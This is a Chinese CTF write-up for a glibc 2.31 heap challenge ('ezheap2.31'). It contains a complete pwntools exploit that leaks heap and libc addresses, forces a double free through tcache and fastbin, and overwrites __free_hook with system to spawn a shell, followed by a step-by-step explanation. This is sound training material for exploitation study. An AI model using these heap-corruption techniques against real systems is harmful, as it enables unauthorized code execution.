赞
踩
查看保护
查看ida
大致就是只能创建0x60大小的堆块,并且uaf只能利用一次
- from pwn import*
- #context(log_level='debug')
- p=process('./ezheap2.31')
-
- def alloc(content):
- p.sendlineafter(b'4.exit',b'1')
- p.send(content)
- def free(index):
- p.sendlineafter(b'4.exit',b'2')
- p.sendline(str(index))
- def show(index):
- p.sendlineafter(b'4.exit',b'3')
- p.sendline(str(index))
- def uaffree(index):
- p.sendlineafter(b'4.exit',b'2106373')
- p.sendline(str(index))
-
- for i in range(3):
- alloc(b'a')
- for i in range(2,0,-1):
- free(i)
- alloc(b'a')
- show(1)
- p.recvuntil(b'a')
- heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300
- print(hex(heapbase))
- alloc(b'a')
- for i in range(10):
- alloc(b'a')
- for i in range(7,0,-1):
- free(i)
- uaffree(0)
- payload=b'\x00'*0x18+p64(0x61)
- alloc(payload)
- free(0)
- payload=p64(heapbase+0x290+0x10+0x10)
- alloc(payload)
- for i in range(7):
- payload=b'\x00'*0x18+p64(0x61)
- alloc(payload)
- payload=b'\x00'*0x38+p64(0x60*11+1)
- alloc(payload)
- free(1)
- alloc(b'a')
- show(1)
- onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
- print(hex(onelibc))
- libc_start_main243=onelibc-0x61-0x1c8e7d
- libc_start_main=libc_start_main243-243
- libc=ELF('/home/pwn/libc.so.6')
- libcbase=libc_start_main-libc.sym['__libc_start_main']
- system=libcbase+libc.sym['system']
- freehook=libcbase+libc.sym['__free_hook']
- print(hex(system))
- free(10)
- free(1)
- free(14)
- payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
- alloc(payload)
- payload=b'/bin/sh\x00'
- alloc(payload)
- payload=p64(system)
- alloc(payload)
- free(10)
- p.interactive()
这里分为以下几个部分来讲
- for i in range(3):
- alloc(b'a')
- for i in range(2,0,-1):
- free(i)
- alloc(b'a')
- show(1)
- p.recvuntil(b'a')
- heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300
在此版本中释放两个堆块后,在tcachebin中后一个堆块的fd会指向前一个堆块的fd,也就是存储前一个堆块的fd地址,而malloc不会清空内存,就可以泄露出heap地址了。
实现前提:
申请堆块不会清空内存
- alloc(b'a')
- for i in range(10):
- alloc(b'a')
- for i in range(7,0,-1):
- free(i)
- uaffree(0)
- payload=b'\x00'*0x18+p64(0x61)
- alloc(payload)
- free(0)
- payload=p64(heapbase+0x290+0x10+0x10)
- alloc(payload)
- for i in range(7):
- payload=b'\x00'*0x18+p64(0x61)
- alloc(payload)
- payload=b'\x00'*0x38+p64(0x60*11+1)
- alloc(payload)
- free(1)
- alloc(b'a')
- show(1)
- onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
- print(hex(onelibc))
- libc_start_main243=onelibc-0x61-0x1c8e7d
- libc_start_main=libc_start_main243-243
- libc=ELF('/home/pwn/libc.so.6')
- libcbase=libc_start_main-libc.sym['__libc_start_main']
- system=libcbase+libc.sym['system']
- freehook=libcbase+libc.sym['__free_hook']
- print(hex(system))
这里要运用uaf的原因是因为程序会通过检测堆数组里是否有所释放堆块的地址。这里用到了double free,这个版本下的tcachebin已经没有办法像glibc2.27那样直接free同一个堆块两次了,只能用将同一个堆块放入tcachebin和fastbin,因为2.31是通过检查堆块是否在tcachebin中来防范double free的,通过这种方法可以实现2.31下的double free。而用完double free之后在一个堆块的中间又创建一个堆块来方便修改下一个堆块的size和fd是因为我们要利用任意地址创建堆块两次。
题目要求:
地址在堆块数组中的堆块才能free
实现前提:
uaf漏洞
- free(10)
- free(1)
- free(14)
- payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
- alloc(payload)
- payload=b'/bin/sh\x00'
- alloc(payload)
- payload=p64(system)
- alloc(payload)
- free(10)
操作前提:
有一个可以修改另一个堆块的fd的堆块
#补充点:题目的接收好像有点问题,exp多试几次才能出。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。